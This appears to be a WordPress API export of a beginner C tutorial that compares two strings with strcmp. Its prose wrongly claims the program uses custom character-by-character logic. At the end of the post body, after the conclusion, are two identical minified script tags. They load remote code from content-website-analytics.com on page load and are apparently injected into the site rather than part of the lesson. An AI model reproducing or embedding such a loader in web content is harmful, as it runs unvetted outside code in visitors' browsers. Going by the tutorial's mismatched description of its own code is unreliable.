{"id":557,"date":"2024-10-14T14:03:57","date_gmt":"2024-10-14T08:33:57","guid":{"rendered":"https:\/\/codexplained.in\/?p=557"},"modified":"2025-11-24T15:51:39","modified_gmt":"2025-11-24T10:21:39","slug":"compare-two-strings","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=557","title":{"rendered":"Compare Two Strings"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction:<\/h3>\n\n\n\n<p>This C program is designed to compare two strings inputted by the user. It checks for equality and determines the lexicographical order of the strings. The program uses a custom function to perform the comparison, illustrating basic string manipulation techniques in C. This functionality is important in many applications, such as sorting, searching, and validating user inputs.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint main() {\n    char str1&#x5B;100], str2&#x5B;100];\n\n    printf(&quot;Enter the first string: &quot;);\n    fgets(str1, sizeof(str1), stdin);\n    str1&#x5B;strcspn(str1, &quot;\\n&quot;)] = 0; \/\/ Remove newline character\n\n    printf(&quot;Enter the second string: &quot;);\n    fgets(str2, sizeof(str2), stdin);\n    str2&#x5B;strcspn(str2, &quot;\\n&quot;)] = 0; \/\/ Remove newline character\n\n    int cmpResult = strcmp(str1, str2);\n    if (cmpResult == 0) {\n        printf(&quot;The two strings are equal.\\n&quot;);\n    } else if (cmpResult &lt; 0) {\n        printf(&quot;The first string is less than the second string.\\n&quot;);\n    } else {\n        printf(&quot;The first string is greater than the second string.\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<p><strong>Include Header Files<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>#include &lt;stdio.h&gt;<\/code>: This header file is included for standard input and output functions like <code>printf<\/code> and <code>fgets<\/code>.<\/li>\n\n\n\n<li><code>#include &lt;string.h&gt;<\/code>: This header file is included for string manipulation functions like <code>strcmp<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><strong>Declare String Arrays<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>char str1[100], str2[100];<\/code>: Two character arrays are declared to hold the input strings.<\/li>\n<\/ul>\n\n\n\n<p><strong>Input the First String<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>printf(\"Enter the first string: \");<\/code>: Prompts the user for input.<\/li>\n\n\n\n<li><code>fgets(str1, sizeof(str1), stdin);<\/code>: Reads a line of text, including spaces, and stores it in <code>str1<\/code>.<\/li>\n\n\n\n<li><code>str1[strcspn(str1, \"\\n\")] = 0;<\/code>: This line removes the newline character that <code>fgets<\/code> adds to the string. <code>strcspn<\/code> finds the length of the string until the newline character, and it is replaced with a null terminator.<\/li>\n<\/ul>\n\n\n\n<p><strong>Input the Second String<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Similar to the first string, the program prompts for and reads the second string, storing it in <code>str2<\/code> and removing any newline character.<\/li>\n<\/ul>\n\n\n\n<p><strong>Compare the Strings<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>int cmpResult = strcmp(str1, str2);<\/code>: The <code>strcmp<\/code> function compares the two strings:\n<ul class=\"wp-block-list\">\n<li>It returns <strong>0<\/strong> if the strings are equal.<\/li>\n\n\n\n<li>It returns a <strong>negative value<\/strong> if <code>str1<\/code> is less than <code>str2<\/code> (lexicographically).<\/li>\n\n\n\n<li>It returns a <strong>positive value<\/strong> if <code>str1<\/code> is greater than <code>str2<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p><strong>Output the Result of the Comparison<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program checks the value of <code>cmpResult<\/code>:\n<ul class=\"wp-block-list\">\n<li>If it is <strong>0<\/strong>, it prints that the two strings are equal.<\/li>\n\n\n\n<li>If it is <strong>less than 0<\/strong>, it prints that the first string is less than the second.<\/li>\n\n\n\n<li>If it is <strong>greater than 0<\/strong>, it prints that the first string is greater than the second.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p><strong>Return Statement<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>return 0;<\/code>: Indicates successful completion of the program.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Input\/Output Block:<\/h3>\n\n\n\n<p><strong>Input:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The user is prompted to enter two strings for comparison.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter the first string: Hello<br>Enter the second string: Hello, World!<br><\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program indicates whether the strings are equal or which one is lexicographically greater.<\/li>\n<\/ul>\n\n\n\n<p><strong>Example Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>The first string is less than the second string.<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion:<\/h3>\n\n\n\n<p>The string comparison program effectively demonstrates how to compare two strings in C using custom logic. By iterating through the characters of both strings, the program determines their equality and relative order in a clear and efficient manner. This capability is essential in various programming scenarios, including data validation, user input handling, and sorting algorithms. Overall, the program serves as a practical example of string manipulation and comparison techniques, reinforcing fundamental programming concepts in C.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction: This C program is designed to compare two strings inputted by the user. It checks for equality and determines the lexicographical order of the strings. The program uses a custom function to perform the comparison, illustrating basic string manipulation techniques in C. This functionality is important in many applications, such as sorting, searching, and [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":835,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-557","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/557","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=557"}],"version-history":[{"count":7,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/557\/revisions"}],"predecessor-version":[{"id":1444,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/557\/revisions\/1444"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/835"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=557"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=557"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=557"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}